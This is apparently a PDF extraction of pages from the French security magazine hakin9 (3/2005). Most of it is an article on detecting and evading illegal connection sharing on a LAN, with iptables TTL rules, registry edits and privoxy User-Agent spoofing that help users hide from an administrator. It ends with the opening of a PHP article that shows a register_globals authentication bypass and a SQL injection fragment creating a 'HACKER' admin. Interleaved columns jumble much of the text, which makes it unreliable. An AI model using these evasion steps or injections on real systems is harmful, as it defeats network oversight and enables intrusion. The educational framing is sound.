de l'en-tête du datagramme, chaque tagramme à un autre, et ce dernier le Version du sys- TCP UDP
routeur est obligé de réduire le champ lui renvoie). Si un paquet IP ne peut tème d'exploita- TTL TTL
TTL d'une valeur proportionnelle au être fourni à sa destination, au mo- tion
temps pendant lequel le paquet est ment où le champ TTL atteint la valeur AIX 60 30
gardé. Étant donné que les routeurs zéro, il sera tout simplement supprimé FreeBSD 2.1R 64 65
retiennent les datagrammes pendant du réseau. Les valeurs initiales du
HP/UX 9.0x 30 30
moins d'une seconde, dans la prati- TTL diffèrent en fonction du système
que, vous pouvez vous attendre à ce – le Tableau 1 présente les valeurs HP/UX 10.01 64 64
que chaque routeur sur Internet dé- initiales du champ TTL pour les systè- Irix 5.3 60 60
crémente le champ TTL d’une unité. mes d'exploitation les plus courants. Irix 6.x 60 60
Quand cette valeur atteint le zéro, le La Figure 2 présente le schéma Linux 64 64
datagramme est rejeté et supprimé d'un réseau LAN typique avec la
MacOs/MacTCP 60 60
du réseau, et l'expéditeur reçoit un connexion partagée d'une façon illé-
2.0.x
message d'erreur ICMP. gale. Si l'ordinateur qui donne accès
OS/2 TCP/IP 3.0 64 64
OSF/1 V3.2A 60 30
Solaris 2.x 255 255
SunOS 4.1.3/4.1.4 60 60
MS Windows 95 32 32
MS Windows 98 128 128
MS Windows NT 32 32
3.51
MS Windows NT 128 128
4.0
MS Windows 2000 128 128
Figure 1. Le TTL (Time To Live) dans l'en-tête IP MS Windows XP 128 128

hakin9 N o 3/2005 www.hakin9.org 13


Figure 2. Un exemple d'un réseau LAN avec un partage de connexion illégal

tcpdump écoutant sur la passerelle dans les paquets ayant la même misation de la valeur TTL sur tous les
Internet est capable d'intercepter adresse IP. Mais cette situation n'a ordinateurs est la seule méthode de
et de démasquer ces paquets. pas toujours lieu – dans un réseau se dissimuler devant l'administrateur.
Cette situation est présentée sur LAN illégal, les utilisateurs peuvent Si c'est Linux avec NAT configuré qui
la Figure 3 – on peut remarquer que utiliser une seule version du système joue le rôle de la passerelle Internet,
les valeurs du champ TTL dans les d'exploitation, par exemple Windows la situation est beaucoup plus facile.
paquets à l'adresse IP 10.10.11.95 2000 ou Linux. Bien que le réseau Il suffit – à l'aide du correctif pour le
qui apparaissent sont non standards soit différencié et plusieurs systè- filtre des paquets iptables portant le
(127 et 63). La deuxième chose mes d'exploitation soient lancés, les nom patch-o-matic – de configurer le
bizarre est le fait qu'un ordinateur personnes malintentionnées peuvent système de façon à ce que chaque
génère les paquets dont les valeurs uniformiser les valeurs TTL sur tous paquet sortant ait une valeur TTL
des champs TTL sont différentes. les ordinateurs indépendamment du unique et déterminée. Dans ce cas,
Cela prouve que l'ordinateur portant type de système (cf. l'Encadré Modi- la personne qui effectue le partage
l'adresse 10.10.11.95 partage la con- fication des valeurs TTL par défaut). de la connexion, ne s'intéresse pas
nexion entre les utilisateurs exploi- Au cas où l'accès à la connexion aux systèmes d'exploitation utili-
tant les systèmes Windows et Linux. se fait à travers un système Windows sés dans le réseau illégal car tous
avec la fonction ICS activée, l'unifor- les paquets après le passage via
Valeurs du TTL par
défaut dans Windows
et Linux
La méthode basée sur la vérification
de la valeur du TTL dans les pa-
quets IP peut s'avérer peu efficace.
C'est parce que dans les systèmes
Windows et Linux, il est possible
de modifier la valeur standard de
la durée de vie des paquets. Si les
utilisateurs de la connexion partagée
Bases

augmentent la valeur du TTL d'une


unité dans leurs systèmes, après le
passage par l'ordinateur-passerelle,
les paquets IP ne seront plus sus-
pects.
L'unique chose qui peut encore
révéler le partage de la connexion
est la valeur du TTL différente Figure 3. Les valeurs du TTL après le passage par un routeur illégal

14 www.hakin9.org hakin9 N o 3/2005


Partage de connexion illégal

• --ttl-inc valeur – incrémente la


Modification des valeurs TTL par défaut valeur du TTL d'une valeur.

Linux Pour fixer le TTL dans tous les


La modification de la valeur TTL pour une machine locale sous Linux se limite à exé-
paquets transférés par l'ordinateur-
cuter sur la console la commande suivante :
passerelle à 128, il suffit d'ajouter
# echo "X" > /proc/sys/net/ipv4/ip_default_ttl à la table mangle d'iptables la règle de
filtrage suivante :
X étant la nouvelle valeur du TTL. Par défaut, le TTL a la valeur 64 – si Linux veut être
pris pour Windows, il suffit d'entrer comme X la valeur 128 (et mieux encore, 129, si # iptables -t mangle \
vous utilisez la connexion partagée et que vous ne voulez pas éveiller les soupçons de -A FORWARD -j TTL \
l'administrateur du réseau).
--ttl-set 128
Windows 2000/XP
Par défaut, dans les paquets envoyés par le système Windows 2000/XP, la valeur À la suite de l'exécution de cette
TTL est fixée à 128. La façon la plus rapide de vérifier la valeur standard du TTL dans commande, le contenu de la table
le système est de se servir de la commande ping. Il suffit d'envoyer les paquets ICMP doit être identique à celui présenté
echo request à l'interface de la boucle de retour (en anglais loopback) et observer dans le Listing 1.
quelle valeur TTL est configurée dans les réponses ICMP echo reply :
Une autre façon consiste à fixer la
ping 127.0.0.1
valeur appropriée du TTL avant l'exé-
cution du processus de routage sur
Le TTL est modifié dans le registre du système. Cette valeur est stockée dans la ligne l'ordinateur-passerelle, par exemple :
DefaultTTL dans la clé HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\
Tcpip\Parameters. S'il n'y en a pas – il faut la créer, par exemple à l'aide du type # iptables -t mangle \
DWORD. -A PREROUTING -i eth0 \

Windows 95/98/Me -j TTL --ttl-set 129


Quant aux systèmes Windows 95/98/Me, la valeur TTL est stockée dans la clé HKEY _
LOCAL _ MACHINE\System\CurrentControlSet\Services\VxD\MSTCP\DefaultTTL . Si Plus de zéro
la valeur DefaultTTL n'est pas présente dans la clé ci-dessus, il faut la créer au moyen L'administrateur peut utiliser la valeur
du type STRING. TTL pour rendre plus difficile le parta-
ge de connexion illégal aux personnes
malintentionnées. Si la machine con-
NAT auront la même valeur dans le Pour appliquer le correctif, vous nectée directement à Internet tourne
champ TTL de l'en-tête IP. aurez besoin des sources du noyau sous Linux, l'administrateur peut fixer,
et d'iptables. Une fois le correctif dans les paquets adressés au réseau
Valeur TTL identique pour appliqué avec succès, il faut instal- local, la valeur TTL à 1. Alors, chaque
les paquets sortants ler le nouveau noyau et le nouveau routeur illégal dans le réseau LAN,
Si l'ordinateur-passerelle tourne sous iptables. Pendant la configuration du après la réception d'un tel paquet et la
Linux avec le service NAT configuré, noyau, il est possible de paramétrer réduction de la valeur TTL d'une unité,
pour fixer le même TTL des paquets de nouvelles options disponibles sera obligé de supprimer ce paquet du
illégaux, vous pouvez exploiter le dans la section Networking Options réseau, ce qui signifie que l'informa-
correctif pour iptables conçu par Ha- -> Netfilter Configuration. Pour la tion ne sera pas transmise plus loin
rald Welte qui ajoute une nouvelle ci- cible TTL, les options suivantes sont et le réseau illégal terminera son fonc-
ble dans les règles de filtrage. Cette disponibles : tionnement (par contre, si le paquet
cible permet à l'utilisateur de fixer la atteint une station finale légale, il sera
valeur TTL pour le paquet IP et de • --ttl-set valeur – fixe la valeur reçu sans problème avec le TTL ayant
l'incrémenter ou décrémenter d'une du TTL à la valeur, la valeur 1). Il faut remarquer que cette
unité donnée. Le correctif est dispo- • --ttl-dec valeur – décrémente la solution est efficace si l'ordinateur
nible à l'adresse http://netfilter.org. valeur du TTL d'une valeur, donnant accès illégal à la connexion,
fonctionne comme routeur et utilise la
Listing 1. Le contenu de la table mangle après la définition de la règle translation d'adresse réseau (NAT).
de filtrage La méthode ci-dessus permet-
tant de décrémenter la valeur du TTL
# iptables -t mangle --list peut être facilement contournée :
Chain FORWARD (policy ACCEPT)
avant le routage, l'administrateur du
target prot opt source destination
TTL all -- anywhere anywhere TTL set to 128
réseau illégal peut incrémenter la va-
leur TTL de chaque paquet arrivant
au routeur. Dans Linux, il suffit de se

hakin9 N o 3/2005 www.hakin9.org 15


servir de l'objectif iptables (portant le
nom TTL) et saisir dans le tableau Serveurs proxy
iptables la règle suivante : Les serveurs proxy, appelés aussi serveurs mandataires, jouent le rôle d'intermédiaires
entre Internet et les systèmes des réseaux LAN. Son utilisation apporte des avantages
# iptables -t mangle \ importants – ils permettent d'économiser de l'espace adressable, d'effectuer le filtrage
-A PREROUTING -i wlan0 \ intelligent et l'authentification au niveau de l'utilisateur, enfin, augmentent la sécurité
-j TTL --ttl-set 2 (le serveur proxy devient l'unique machine qui a le contact direct avec Internet).
Les utilisateurs qui se connectent à Internet par l'intermédiaire du proxy ont l'im-
Grâce à cela, dans chaque paquet pression de se connecter au réseau extérieur alors qu'ils se connectent à une seule
machine. Après l'envoi d'une requête par le client, le serveur proxy vérifie si la con-
IP (dont la valeur TTL peut être fixée
nexion est possible à établir. Si oui – il se connecte au nom du client avec un serveur
même à 1) arrivant à l'interface wlan0
distant, et ensuite, il sert d'intermédiaire dans la communication.
(cf. la Figure 2), la valeur du champ D'une manière générale, on peut distinguer deux types de ces serveurs :
TTL sera fixée à 2. Le paquet modifié les serveurs fonctionnant au niveau de l'application et ceux qui servent de pare-feu.
sera soumis au processus de routa- Les proxys applicatifs sont ceux dont la tâche consiste à servir d'intermédiaire dans la
ge, sa valeur TTL sera décrémentée communication entre une (ou plusieurs) applications et un réseau extérieur. Par con-
d'une unité et le paquet arrivera sans tre, les serveurs pare-feu ne s'occupent pas du type concret des tâches – ils reçoivent
problème à l'utilisateur final dans et transmettent les données sans différencier les protocoles réseau spécifiques.
le réseau LAN illégal. Bien sûr, si Une autre division des serveurs proxy est aussi possible : universels (employant
celui-ci a décidé de partager en- plusieurs protocoles) et spécialisés (ne s'occupant que d'un type du trafic réseau). En
core la connexion, le TTL dans les pratique, les serveurs spécialisés sont ceux applicatifs (par exemple, servant d'inter-
médiaire dans le trafic HTTP), et les serveurs universels – ceux de type pare-feu.
paquets sortant du routeur devra
Il existe encore un type spécial de proxy permettant de mettre en tampon le trafic
être fixé à une valeur plus élevée.
réseau (cache) – cela permet d'augmenter la performance du réseau dans le cas d'une
bande passante de faible débit. De plus, il permet l'enregistrement des événements
Proxy pour la première fois (logging) et assure un suivi des connexions (tracking). Ces types de proxy sont appe-
Les méthodes basées sur les manipu- lés intelligents.
lations des valeurs TTL sont utiles si Les serveurs pare-feu les plus fréquents pour Windows sont : WinProxy
nous avons à faire à des dispositifs de (http://www.winproxy.com/), WinGate (http://www.wingate.com/) et WinRoute
la troisième couche du modèle ISO/ (http://www.kerio.com). Les utilisateurs de Linux peuvent employer, entre autres, Proxy
OSI. Mais il suffit que l'administrateur (http://proxy.sourceforge.net/), Zaval Proxy Suite (http://www.zaval.org/products/
du réseau illégal se décide à partager proxy/) ou SuSE Proxy Suite (http://proxy-suite.suse.de).
les périphériques de la quatrième
couche ou supérieure (la passerelle,
c'est-à-dire dans notre cas, différents si la retransmission des paquets (IP À ce moment, le paquet envoyé par
intermédiaires réseau, proxy) consti- forwarding) est activée sur l'ordina- exemple à l'adresse 20.20.20.20 sera
tuant le paquet IP entier, et ces mé- teur suspect. Si c'est le cas, nous fourni à l'ordinateur ayant l'adresse
thodes ne seront plus efficaces. pouvons supposer que nous avons 10.10.11.95 (cf. la Figure 2). Si sur cet
Dans le cas extrême, nous pou- à faire à un utilisateur malhonnête. ordinateur la redirection des paquets
vons imaginer que dans le réseau illé- Mais ce n'est pas une preuve. Cha- est activée, celui-ci recevra le paquet
gal, seul le protocole IPX fonctionne, que utilisateur dans le réseau local préparé et le transmettra au proces-
par contre à la sortie – une passerelle peut posséder dans son ordinateur sus de sélection de trace. Vu qu'il est
IPX/IP qui établit les connexions au deux cartes réseaux configurées qui peu probable que la table de routage
nom des clients, et transmet les ré- transmettent les paquets entre elles. contienne la ligne se référant au ré-
ponses arrivant vers le réseau interne Néanmoins, cela donne lieu à exami- seau 20.20.20.0/24, le système dé-
via les paquets IPX. C'est aux stations ner cet utilisateur de plus près. cide de le transmettre à sa passerelle
terminales qu'elles sont extraites par Envisageons la situation pré- par défaut. Mais justement, la passe-
le socket approprié qui les transmet sentée sur la Figure 2 : l'adminis- relle par défaut pour cet ordinateur est
aux applications réseau sous forme trateur dispose d'un ordinateur le routeur connecté directement à In-
compréhensibles par les protocoles tournant sous Linux. L'unique chose ternet (dans notre cas, c'est le routeur
de la pile TCP/IP. Du point de vue de à faire est d'ajouter à notre propre à l'adresse 10.10.11.1). Deux paquets
Bases

la transmission IP, le datagramme IP table de routage une ligne fausse ICMP echo request apparaissent
arrive à la fin à la passerelle, c'est-à- déterminant qu'un paquet IP envoyé dans le réseau : l'un envoyé à partir
dire, à l'ordinateur connecté directe- à un certain réseau doit être transféré de l'ordinateur de l'administrateur
ment au réseau externe. à l'adresse IP indiquée que nous à l'ordinateur suspect, et le second
trouvons suspecte : envoyé par le routeur illégal.
Jeu du téléphone Toute cette expérimentation se
Une autre manière de détecter la # route add -net 20.20.20.0/24 \ réduit à lancer sur l'ordinateur de
connexion illégale consiste à vérifier gw 10.10.11.95 eth0 l'administrateur (ou mieux encore,

16 www.hakin9.org hakin9 N o 3/2005


Partage de connexion illégal

statefull (dynamic) et du filtrage des


connexions établies avec ce réseau
de l'extérieur.

Identification des
navigateurs Web
Chaque navigateur Web lancé dans le
système envoie l'en-tête HTTP dans
la requête demandant le chargement
d'une page adressée au serveur
Web. Cet en-tête contient le champ
User-Agent informant sur le type de
navigateur et la version du système
sur lequel celui-ci est lancé (Figure 4).
Nous pouvons exploiter ce fait pour
détecter le partage de connexion illé-
gal, d'autant plus quand les utilisateurs
illégaux ont différents types et version
des navigateurs tournant sous diffé-
Figure 4. Le champ User-Agent dans l'en-tête HTTP rents systèmes d'exploitation.
sur la passerelle à Internet), sur une à trouver le sous-réseau, le paquet Le test détectant la connexion
console, le sniffeur tcpdump : sera transféré à l'adresse définie. illégale consiste à analyser les pa-
Si l'ordinateur portant l'adresse quets interceptés dans le réseau.
# tcpdump -n -i eth0 déterminée est disponible dans le Il faut chercher les paquets qui ont
sous-réseau, il nous répondra par le été envoyés à partir d'une seule
et sur la deuxième console, à exécu- paquet ICMP echo reply. Dans le cas adresse source (passerelle illé-
ter la commande ping : contraire, nous recevrons le message gale). Si ces paquets contiennent le
d'erreur informant que l'hôte donné champ User-Agent informant que les
# ping 20.20.20.20 est inaccessible (icmp host unrea- versions des navigateurs et des sys-
chable). Le mécanisme fonctionnera tèmes d'exploitation sont différentes,
Si l'ordinateur portant une adresse IP jusqu'à ce que l'administrateur du la situation est suspecte.
donnée fonctionne comme routeur, réseau illégal ne démarre sur le rou- La situation plus suspecte a lieu
deux paquets IMCP echo request teur illégal le filtre de paquets de type quand le champ User-Agent affiche
devraient apparaître :

00:59:47:270862 10.10.11.2 §
> 20.20.20.20: icmp: echo request
00:59:47:271276 10.10.11.2 §
> 20.20.20.20: icmp: echo request

On peut aussi tenter de vérifier


quel sous-réseau est utilisé dans
le réseau LAN illégal. Mais pour
ce faire, il est nécessaire d'écrire
un script spécial parce que la véri-
fication manuelle est plutôt vouée
à l'échec. Pour cela, il faut utiliser le
mécanisme décrit ci-dessus, mais il
faut choisir l'adresse du sous-réseau
plus véridique, par exemple :

# route add –net 192.168.1.0/24 \


gw 10.10.11.95 eth0

Si nous ne trouvons pas le sous-ré-


seau approprié, l'effet sera le même
qu'auparavant. Si nous avons réussi Figure 5. Des paquets HTTP suspects

hakin9 N o 3/2005 www.hakin9.org 17


tation (Windows 2000 identifié comme
Windows NT 5.0 et Linux). Il faut main-
tenant se poser la question que faire
si l'utilisateur a installé plusieurs sys-
tèmes sur un ordinateur et travaille soit
dans un, soit dans l'autre système.

Proxy pour la deuxième fois


La méthode présentée paraît assez
bonne, mais elle peut être également
contournée, si le champ User-Agent
est supprimé ou modifié de façon
à ce qu'il indique un autre type de na-
vigateur ou de système d'exploitation.
Il est possible de le faire pour chaque
navigateur dans le réseau LAN illégal.
Pour cela, on peut fixer la même iden-
Figure 6. La modification et l'identification du navigateur Mozilla tification dans tous les navigateurs ou
mettre en place le serveur proxy Web
sur la passerelle illégale et contrain-
dre les utilisateurs à l'employer. Si le
serveur proxy est configuré de façon
appropriée, indépendamment des na-
vigateurs utilisés par les utilisateurs, la
requête générée par le serveur proxy
contiendra toujours la même informa-
tion dans le champ User-Agent.

Modification de la valeur
du champ User-Agent
Figure 7. La modification de l'identification du navigateur Internet Explorer En cas des navigateurs Mozilla (pour
Windows), l'extension User Agent
Switcher ajoutant au programme le
menu qui permet de modifier l'identi-
fication du navigateur, est disponible.
Cette extension implémente la fonc-
tionnalité similaire qu'Identification
Figure 8. L'identification d'IE après les modifications effectuées
du navigateur disponible dans Opera.
différentes versions des systèmes présente les paquets qui doivent attirer Elle permet de configurer la liste des
d'exploitation. Utiliser simultanément l'attention de l'administrateur. agents affichés dans le menu et de les
deux systèmes d'exploitation se ser- Sur la Figure 5, nous pouvons choisir selon les besoins (Figure 6).
vant d'une seule adresse IP est plutôt remarquer deux requêtes de charge- En cas des navigateurs Internet
impossible (si l'on exclue l'utilisation ment de la page http://www.onet.pl/, Explorer, il faut modifier la branche
des programmes permettant de lancer envoyées à partir d'une seule adresse du registre système HKEY _ LOCAL _
les machines virtuelles, comme VMva- 10.10.11.95. Grâce à ces requêtes MACHINE\SOFTWARE\Microsoft\Windows\
re ou Microsoft Virtual PC), par contre nous voyons que deux navigateurs CurrentVersion\Internet Settings\
plusieurs navigateurs dans un sys- (MSIE 6.0 et Mozilla Firebird) ont été 5.0. Il faut y créer la clé User Agent (si
tème – tout à fait possible. La Figure 5 démarrés sur deux systèmes d'exploi- celle-ci n'y est pas). La saisie de la va-
leur par défaut remplacera la chaîne
Bases

de caractères Mozilla/4.0. Les autres


paramètres sont modifiables après
l'ajout à la clé User Agent de nouvelles
valeurs de la chaîne portant les noms
Compatible, Version ou Platform avec
les valeurs propres. De plus, vous
Figure 9. La détermination de l'adresse IP et du port sur lesquels le serveur pouvez ajouter de nouvelles valeurs
proxy sera disponible dans la clé Post Platform, comme

18 www.hakin9.org hakin9 N o 3/2005


Partage de connexion illégal

informations supplémentaires pour du champ User-Agent pour toutes valeurs caractéristiques des champs
le champ User-Agent. Il faut les ajou- les connexions Web sortantes. Pour fixés dans les en-têtes des proto-
ter comme noms des chaînes sans cela, il faut changer la ligne : coles IP et TCP. Les programmes
valeur, p. ex. information supplémen- qui effectuent l'analyse passive des
taire = "". Les exemples des modifica- -hide-user-agent \ piles TCP/IP, examinent les champs
tions dans le registre sont présentés suivants dans l'en-tête IP :
sur la Figure 7. par exemple, contre celle-ci :
En accédant à la page http:// • la durée de vie du paquet (TTL),
hitgate.gemius.pl:9170/ua.html, nous +hide-user-agent{Mozilla/4.0 § • le champ ID (identification),
pouvons vérifier comment notre na- (compatible; MSIE 6.0; § • les paramètres des bits TOS (en
vigateur se présente. Il est aussi pos- Windows NT 5.0; §\ anglais Type Of Service),
sible d'utiliser cet URL pour vérifier le .NET CLR 1.1.4322)} \ • les paramètres du bit ne pas
champ User-Agent après les modifica- fragmenter (en anglais don’t frag-
tions dans le registre. Par exemple, Détection passive d'un ment).
si quatre premières valeurs du User- système d'exploitation
Agent sont modifiées, le navigateur Encore une autre méthode permet- Par contre, dans l'en-tête TCP, les
sera reconnu comme Netscape 6.0 tant de détecter les réseaux illégaux champs suivants sont vérifiés :
lancé sous Linux (Figure 8). est la détection de différentes ver-
sions des systèmes d'exploitation • la taille de la fenêtre (en anglais
Utiliser le serveur proxy utilisant en même temps une seule Window Size),
pour uniformiser le champ adresse IP. L'identification passive • la taille maximale du segment (en
User-Agent est une méthode dans laquelle anglais Maximum Segment Size),
La façon plus simple de dissimuler aucun paquet de test n'est envoyé • l'option d'accusé sélectif (en
les informations sur les navigateurs à la machine cible (cf. l'article de anglais Selective Acknowledge-
est de se servir du serveur proxy Michał Wojciechowski OS finger- ment),
Web pour le système Linux, comme printing – comment ne pas se faire • l'option NOP (en anglais No Ope-
par exemple privoxy. Il faut l'installer reconnaître, hakin9 4/2004). ration).
sur la passerelle illégale et instruire La base du fonctionnement de
les utilisateurs de configurer leurs cette méthode est l'analyse de la L'un des outils destinés au finger-
navigateurs de manière à ce qu'ils pile TCP/IP de l'ordinateur à partir printing passif est le programme
emploient le serveur proxy. Le pro- des paquets générés par l'ordinateur p0f. Il peut être téléchargé à partir
gramme peut être téléchargé à partir en question, après leur interception du site http://lcamtuf.coredump.cx/
du site http://www.privoxy.org/. à l'aide du sniffing. La notion d'analy- p0f.shtml. Dans le système Windows,
Une fois le programme installé, il se de la pile signifie la détermination pour fonctionner correctement, le
faut effectuer deux modifications dans du type et de la version du système programme exige la bibliothèque
les fichiers config et default.action. d'exploitation à partir des différences Winpcap installée.
Dans le premier fichier, il faut déter- dans les implémentations des piles Le programme est capable
miner sur quelle interface le serveur TCP/IP utilisés par différents éditeurs d'identifier le système d'exploitation
doit écouter les connexions des uti- des systèmes d'exploitation. Bien fonctionnant sur les hôtes à partir
lisateurs. Nous devons aussi définir que les principes de construction des paquets IP avec les drapeaux
l'adresse IP et le port affecté à l'inter- des piles TCP/IP soient exactement TCP suivants :
face extérieure, c'est-à-dire celle du définis dans les documents RFC, les
côté du réseau LAN illégal (Figure 9). implémentations des systèmes d'ex- • SYN,
Par contre, dans le fichier ploitation spécifiques diffèrent entre • SYN et ACK,
default.action, il faut définir le contenu elles. Cela concerne avant tout les • RST.

À l'aide de l'option --f , le fichier stoc-


kant les signatures pour les systèmes
d'exploitation spécifiques est préparé.
Ensuite, le programme p0f les compa-
re avec les données reconnues dans
le paquet intercepté. Chaque méthode
possède un fichier séparé :

• p0f.fp,
• p0fa.fp,
Figure 10. Les résultats de la détection passive • p0fr.fp.

hakin9 N o 3/2005 www.hakin9.org 19


Par exemple, la signature pour le
système Windows 2000 avec le Autres méthodes de détection des réseaux illégaux
service pack 4 ou XP avec le service
Messagerie instantanée
pack 1 se présente ainsi : 65535:128: En analysant les paquets sortant de la messagerie instantanée, nous pouvons y trou-
1:48:M*,N,N,S:.:Windows:2000 SP4, XP ver l'identificateur (le plus souvent le numéro) de l'utilisateur (cf. l'article de Konstantin
SP1.Les champs dans l'inscription ci- Klyagin Paranoïa instantanée du hakin9 3/2004). Étant donné qu'il est quasi impos-
dessus signifient respectivement : sible qu'un utilisateur lance simultanément sur le même ordinateur plusieurs comptes
d'une messagerie instantanée, si nous interceptons les paquets contenant différents
• 65535 – la taille de la fenêtre TCP, identificateurs d'utilisateur provenant d'une seule IP, nous pouvons supposer d'avoir
• 128 – la durée de vie du paquet à faire à un réseau illégal.
(TTL), Traçage du courrier
• 1 – le bit ne pas fragmenter posi- Vu que la plupart des utilisateurs ne profitent pas des connexions chiffrées avec les
tionné, serveurs de messagerie, à la suite de l'analyse des emails à l'aide d'un sniffeur, nous
• 48 – la taille du paquet, sommes capables de déduire à partir des certaines en-têtes que nous avons à faire
• M – la taille maximale du segment à un utilisateur illégal. Il n'arrive pas souvent qu'un utilisateur se serve de deux pro-
(MSS), grammes de messagerie en même temps, et la plupart des clients de messagerie
• N – l'option non opérationnel s'identifient dans les en-têtes User-Agent ou X-Mailer.
(NOP), Vérification d'uptime
• N – l'option non opérationnel Les paquets TCP peuvent contenir une information additionnelle (optionnelle)
(NOP), – timestamp, c'est-à-dire le marquer de temps. La valeur de l'incrément de ce mar-
• S – l'accusé sélectif ACK activé. queur dépend du système d'exploitation. Ce marqueur (au cas où nous connaissons
le système d'exploitation), après la multiplication par la fréquence de la mise à jour
L'option -p sert à mettre l'interface du compteur, indique l'uptime de la machine, c'est-à-dire le temps de son dernier
réseau en mode de réception de démarrage.
tous les paquets (en anglais pro- Si, par exemple, au moyen de tcpdump, nous détectons sur l'une IP des paquets
ayant les valeurs de timestamp extrêmement différentes, nous pouvons être sûrs que
miscuous), pas seulement ceux
nous avons à faire à de machines différentes, c'est-à-dire à des utilisateurs illégaux :
destinés à l'ordinateur sur lequel
fonctionne p0f. À l'aide de l'option -i # tcpdump -n | grep timestamp
nous pouvons déterminer l'interface
sur laquelle le programme doit écou- Voici le fragment des résultats :
ter. Sur la Figure 10, nous voyons
<nop,nop,timestamp 3320208223 97006325>
que le programme p0f a identifié
dans le même temps deux systèmes Deux valeurs après le mot timestamp sont respectivement le timestamp de l'hôte source
utilisant la même adresse IP source. et la dernière valeur du timestamp reçue à partir de l'hôte cible. Cette méthode est assez
Cela peut prouver que dans notre limitée parce que nous admettons que les ordinateurs du réseau illégal envoient les
réseau quelqu'un donne accès à la paquets avec l'option timestamp, ce qui n'est pas toujours le cas.
connexion aux autres utilisateurs.
Dans la version la plus récente de
p0f, l'auteur a introduit l'option sup- de détection des réseaux illégaux). donc mieux que les FAI s'occupent
plémentaire -M qui estime (à partir Mais toutes ont un trait commun : de la bande passante et des limites
des anomalies dans les paquets), avec un peu de bonne volonté du transfert, et qu'ils laissent le jeu
en pour-cent, si une masquerade est et d'invention, elles peuvent être à Big Brother aux programmes TV
possible à l'adresse IP donnée. contournées et neutralisées. Il serait peu ambitieux. n
Évidemment (le proxy pour la troi-
sième fois...), tout cela a un sens, uni-
quement si l'administrateur du réseau Sur le réseau
illégal n'installe pas un proxy de type
• http://support.microsoft.com/default.aspx?scid=kb;en-us;158474 – les informations
pare-feu. Dans ce cas, la prise d'em-
sur l'emplacement des paramètres réseaux les plus importants dans le registre de
preinte ne concerne que le système
Bases

Windows,
d'exploitation de l'intermédiaire. • http://www.netfilter.org/patch-o-matic/index.html – la description des corrections
d'iptables,
Travail de Sisyphe • http://winpcap.polito.it/install/default.htm – la bibliothèque Winpcap,
Il existe plusieurs méthodes de • http://lcamtuf.coredump.cx/p0f.shtml – le site du programme p0f,
détecter le partage de connexion • http://netfilter.org – le projet Netfilter,
illégale et de rendre la vie des admi- • http://www.0xdecafbad.com/TCP-Timestamping-Obtaining-System-Uptime-
nistrateurs de tels réseaux plus dif- Remotely.html – les informations sur la réception distante d'uptime du système.
ficile (cf. l'Encadré Autres méthodes

20 www.hakin9.org hakin9 N o 3/2005


Recherche et exploitation
des bogues dans le code
PHP
Sacha Fuentes

Les programmes et scripts


développés avec PHP, un des
langages de programmation
les plus utilisés, sont souvent
vulnérables à différentes
attaques. Il ne s'agit certes pas
d'un certain manque de sécurité
au niveau du langage lui-même,
mais plutôt de l'inexpérience des
programmeurs qui commettent
souvent des erreurs de
conception.

P
HP est un langage de scripts qui s'exé-
cute côté serveur, doté d'une syntaxe Cet article explique...
issue des langages C, Perl et Java,
permettant la génération dynamique de pages • vous apprendrez à reconnaître les formes les
Web. Des millions de sites à travers le monde plus communes des attaques dites par valida-
entier mettent en œuvre ce langage et de nom- tion d'entrée (en anglais input validation),
• vous saurez reconnaître les erreurs de con-
breux projets écrits en PHP sont consultables
ception les plus répandues dans les scripts
à partir de bases de données libres comme
PHP.
chez SourceForge (http://sourceforge.net).
La simplicité d'utilisation ainsi que le nom-
bre considérable de bibliothèques accessibles
Ce qu'il faut savoir...
à partir de PHP permet à quiconque, connais- • vous devriez connaître idéalement le langage
sant un minimum ce langage, d'écrire et d'éditer PHP.
des applications complexes. Dans de nombreux
cas, ces applications ne sont malheureusement
pas toujours bien conçues et ne fournissent pas
la sécurité nécessaire pour un site grand public. À propos de l'auteur
Sacha Fuentes travaille dans le secteur des Tech-
À la lumière de ce phénomène, nous allons
nologies de l'Information depuis ces sept dernières
évoquer les erreurs de sécurité parmi les plus
Bases

années, et possède à son actif une large palette de


répandues sous PHP ; nous verrons comment compétences – de la programmation à l'exploitation
repérer ces bogues qui permettent l'accès au des systèmes (y compris l'assistance aux utilisa-
code et la manière de les exploiter. teurs). Il s'intéresse à l'ensemble des domaines
touchant à la sécurité, mais consacre actuellement
Les données d'entrée la majeure partie de son temps à la sécurité des
utilisateur non contrôlées applications Web ainsi qu'à la formation des utili-
Le principal problème de sécurité sous PHP est sateurs finaux.
le manque de contrôles sur les données d'entrée

22 www.hakin9.org hakin9 N o 3/2005


Bogues sous PHP

utilisateur. Il nous faut donc connaî-


tre la provenance potentielle de ces Listing 1. Exemple d'un script PHP peu sûr
dernières. Il existe quatre types de <?php
variables pouvant être envoyées au if (authenticated_user()) {
serveur : les variables GET/POST, les $authorized = true;
cookies et les fichiers. Considérons }
if ($authorized) {
un exemple avec les variables GET.
include "/highly/sensitive/data.php";
Une requête telle que http:// }
example.com/index.php?var=MYIN- ?>
PUT, dont index.php serait :

<?php
Listing 2. Corps d'une page principale wiki
echo $var;
?> function QWTIndexFormatBody()
{
// Output the body
produira en sortie l'élément suivant :
global $QW;
return QWFormatQwikiFile( $QW['pagePath'] );
MYINPUT }

Voilà une méthode très pratique,


mais qui présente également très Listing 3. Exemple d'un fichier _global.php
peu de sécurité. Puisque l'utilisateur
peut définir et affecter des variables $QW['requestPage'] = QWSafeGet( $QW_REQUEST, 'page' );
[...]
arbitraires, le programmeur doit
if ( !$QW['requestPage'] )
donc rester extrêmement vigilant en $QW['page'] = $QW_CONFIG['startPage'];
matière d'affectation des valeurs par else
défaut aux variables. Examinons un $QW['page'] = $QW['requestPage'];
exemple tiré du manuel d'utilisation [...]
$QW['pagePath'] = QWCreateDataPath( $QW['page'], '.qwiki' );
de PHP (voir le Listing 1).
Il est possible de modifier la va-
riable $authorized afin d'obtenir un ER', 'HACK',1)#', 0). Autrement dit, indiquer l'emplacement à partir du-
accès aux données dites sensibles cette opération permet d'insérer dans quel la variable doit être prise. Dans
au moyen de la requête suivante : la base de données l'utilisateur appelé le premier script, donné en exemple,
http://example.com/auth.php?autho- HACKER, doté des privilèges de l'ad- si nous voulions éditer la valeur de
rized=1 ministrateur tout en ignorant la suite la variable var, nous aurions dû dire
Il existe un autre exemple de pro- de la requête puisque cette partie est à l'interpréteur PHP d'obtenir cette
blème se manifestant en présence considérée comme un commentaire dernière à partir des variables GET,
de données d'entrée utilisateur non (en effet, le signe # indique le début de manière à ce que le script se
contrôlées, à savoir la construction d'un commentaire dans MySQL). Il ne transforme de la manière suivante :
de déclarations SQL. Un système fait donc aucun doute que le program-
